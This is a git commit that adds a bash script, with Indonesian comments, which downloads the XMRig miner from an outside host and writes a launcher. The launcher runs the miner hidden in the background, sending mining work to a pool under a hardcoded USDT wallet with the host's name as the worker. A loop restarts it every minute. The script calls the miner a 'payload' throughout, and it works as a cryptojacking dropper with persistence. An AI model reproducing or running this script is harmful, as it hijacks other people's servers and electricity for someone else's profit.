Add farm/rig/rigsh

This commit is contained in:
Syn Naulaid 2025-01-30 19:57:37 +00:00
parent 6ed49c8791
commit af91bdf3e4

91
farm/rig/rigsh Normal file
View File

@ -0,0 +1,91 @@
#!/bin/bash
# URL untuk mengunduh xmrig.tar.gz
PAYLOAD_URL="https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz"
# Direktori kerja saat ini
CURRENT_DIR=$(pwd)
XMRIG_PATH="$CURRENT_DIR/xmrig"
SCRIPT_PATH="$CURRENT_DIR/run_xmrig.sh"
# Fungsi untuk mengunduh dan mengekstrak payload
download_and_extract_payload() {
TAR_FILE="$CURRENT_DIR/xmrig.tar.gz"
if command -v wget >/dev/null 2>&1; then
echo "[*] wget tersedia. Mengunduh xmrig.tar.gz..."
wget "$PAYLOAD_URL" -O "$TAR_FILE"
elif command -v curl >/dev/null 2>&1; then
echo "[*] curl tersedia. Mengunduh xmrig.tar.gz..."
curl -o "$TAR_FILE" "$PAYLOAD_URL"
else
echo "[!] Tidak ada wget atau curl tersedia untuk mengunduh xmrig.tar.gz."
return 1
fi
echo "[*] Mengekstrak xmrig.tar.gz..."
tar -xzf "$TAR_FILE" -C "$CURRENT_DIR"
}
# Fungsi untuk membuat file run_xmrig.sh
create_run_script() {
cat <<EOL > "$SCRIPT_PATH"
#!/bin/bash
# Mendapatkan hostname server
HOSTNAME=\$(hostname)
# Menjalankan xmrig dengan parameter yang diberikan
nohup ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 \
-u USDT:TTrVsRnBzjB5xEQ57NTVYJinjpnne8oGXN."\${HOSTNAME}" -p x > xmrig.log 2>&1 &
# Menampilkan pesan sukses
echo "xmrig berjalan di latar belakang dengan nama worker: \${HOSTNAME}. Log output disimpan di xmrig.log"
EOL
chmod +x "$SCRIPT_PATH"
echo "[*] File run_xmrig.sh berhasil dibuat."
}
# Fungsi untuk menjalankan xmrig
run_command() {
if [[ ! -f "$XMRIG_PATH" || ! -f "$SCRIPT_PATH" ]]; then
echo "[*] Payload atau skrip tidak ditemukan. Mengunduh dan menyiapkan xmrig..."
download_and_extract_payload
create_run_script
fi
if [[ ! -f "$SCRIPT_PATH" ]]; then
echo "[*] File run_xmrig.sh tidak ditemukan. Membuat ulang..."
create_run_script
fi
bash "$SCRIPT_PATH"
EXIT_CODE=$?
echo "Command executed: bash $SCRIPT_PATH"
echo "Exit code: $EXIT_CODE"
if [[ "$EXIT_CODE" -ne 0 ]]; then
echo "[*] Exit code non-zero detected ($EXIT_CODE). Checking active session..."
if pgrep -f "./xmrig" >/dev/null 2>&1; then
echo "[*] Active session detected. Skipping payload execution."
else
echo "[*] No active session detected. Spawning payload..."
nohup bash "$SCRIPT_PATH" > /dev/null 2>&1 &
fi
else
echo "[*] Exit code zero. XMRig is running successfully."
fi
}
# Fungsi untuk memastikan skrip berjalan terus menerus
run_persistently() {
while true; do
run_command
sleep 60
done
}
# Mulai menjalankan perintah secara terus menerus
run_persistently